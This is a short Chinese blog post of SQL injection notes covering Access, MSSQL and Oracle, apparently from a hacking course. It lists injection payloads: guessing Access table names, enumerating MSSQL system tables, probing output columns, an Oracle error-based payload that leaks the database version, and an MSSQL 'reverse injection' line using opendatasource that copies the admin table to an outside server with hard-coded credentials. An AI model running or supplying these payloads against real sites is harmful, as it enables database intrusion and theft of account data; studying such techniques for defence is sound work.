domb

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

三大数据库


Access:
1、没有系统自带表,想要知道表名只能爆破【and exist(select*from table_name)】或者猜一些常用的表名such as news、admin、user
2、不能直接select 1,2,3 必须要接表名 ==>> select 1,2,3 from admin

 

 

 


MSSQL:
1、联合查询用:union all
2、查询当前库名:select db_name()
  通过系统自带库查询数据库名:select name from dbo.sysdatabase
  通过系统自带库查询表名    :select name,id from dbo.sysobjects where xtype='U'
  通过系统自带库查询字段名  :select name,id from dbo.syscolumns where id=2455
3、不是用表名来定位表,而是用id
4、判断输出点的时候不能用select 1,2,3因为MSSQL不像MYSQL是弱类型的数据库,所以要用select null,null,null from admin
5、反弹注入语法 
insert into opendatasource('sqloledb','server=SQL5009.webweb.com,1433;uid=DB_14A5E44_zkaq_admin;pwd=zkaqzkaq;database=DB_14A5E44_zkaq').DB_14A5E44_zkaq.dbo.temp select * from admin --

opendatasource(provider_name,init_string) 其中
·provider_name:注册为了用于访问数据源的OLE DB提供程序的PROGID名称    MSSQL的名称为SQLOLEDB
·init_string:连接字符串(连接地址、端口、用户名、密码、数据库名)
server=连接地址,端口;uid=用户名;;pwd=密码;database=数据库名称
连接上服务器后选定数据表DB_14A5E44_zkaq.dbo.temp 把后面的语句的查询结果插入到那个表里

 

 

 


Oracle:
1、存在虚表(真实存在的表,只是没有实际内容),作用是满足查询语句的结构
比如想要查询用户名(也就是当前库):select user from dual            对比MYSQL select database()

2、
查询所有表:select * from all_tables
查询当前用户的表:select * from user_tables
查询所有字段:select * from all_tab_columns
查询当前用户字段:select * from user_tab_columns
限制查询返回的总行数为一条:rownum=1,但是只显示第二行很复杂            对比MYSQL limit 0,1

3、报错注入
and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--  查询数据库版本

 

posted on 2021-11-24 20:03  domb  阅读(97)  评论(0编辑  收藏  举报